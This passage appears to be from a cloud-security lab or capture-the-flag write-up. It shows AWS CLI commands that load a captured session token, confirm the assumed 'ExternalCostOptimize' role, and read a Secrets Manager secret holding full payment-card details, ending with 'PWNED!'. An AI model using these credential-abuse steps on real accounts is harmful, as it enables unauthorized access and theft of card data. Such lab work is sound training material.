❯ aws --profile cost-optimize configure set aws_session_token "IQoJb3JpZ2luX2VjELT//////////wEaCXVzLWVhc3QtMSJIMEYCIQCRC+ftYnLGDEPpmCg71l9kRgXLHejwcvBNR1APAGkoaQIhANnb91D4/U4WVJ7klRdu5HvHhZI8Ofw/9udOq1bLQAJHKqECCGwQABoMNDI3NjQ4MzAyMTU1IgzfI+QVKb022j677bwq/gF8M+Mr/0i2sJQQ5IIwlKBpwdkDjk7CFhKoCxQjbZ3ndJJ5qForX67vnjnj1w/degHbC7WJjwnduAyYoW26ism9Y3bzI2GL+IAHzs2hyvEnOlA9yeg7rjPyQVde7h3rpwsrUfZmTuNy1i0ju6UfDxSOABaidnA+roce1oMTXHxgnFYaUFZqiEC+QQPWEqGa/nnOOFDd8mC03114uU3yaBFBxTWECu1opdufwTuD18RB+AVbRNWEQzyjP70iqik/qQK6kfVTA3gvDaSB2wTfNTaT4d1b2dyEhTxWfkNwIM0TvSWNdEy0tVHFhoIImwxXSWjHvqxRiBuFWXfOwMKiQzDp4Y20BjqcAc1+w2NaVMN7VgvfpfX+L8scc0b7jd2CT72Pddo4SQ0GxDuA83STSORU7Yw6V2btnO7UHZCqNRBfakd8YLFSlqExa4D3K71qF85pmMHmyD8Ra2Vn7hJqXK4pBQ9ipiyH45rQsc5oO3jJDW/HdN3/obUN4zzvVPSaTFz4yrStgUiSRsLvEt+aKBFjRGN7j7QOOzr2KZv63dJwenL+nA=="

❯ aws --profile cost-optimize sts get-caller-identity
{
    "UserId": "AROAWHEOTHRFZP3NQR7WN:ExternalCostOptimize",
    "Account": "427648302155",
    "Arn": "arn:aws:sts::427648302155:assumed-role/ExternalCostOpimizeAccess/ExternalCostOptimize"
}

We have successfully assumed the role and been able to retrieve the default payment method.

❯ aws --profile cost-optimize secretsmanager get-secret-value --secret-id billing/hl-default-payment
{
    "ARN": "arn:aws:secretsmanager:us-east-1:427648302155:secret:billing/hl-default-payment-xGmMhK",
    "Name": "billing/hl-default-payment",
    "VersionId": "f8e592ca-4d8a-4a85-b7fa-7059539192c5",
    "SecretString": "{\"Card Brand\":\"VISA\",\"Card Number\":\"4180-5677-2810-4227\",\"Holder Name\":\"Michael Hayes\",\"CVV/CVV2\":\"839\",\"Card Expiry\":\"5/2026\",\"Flag\":\"<redacted>\"}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": "2023-08-05T06:33:39.867000+08:00"
}

PWNED!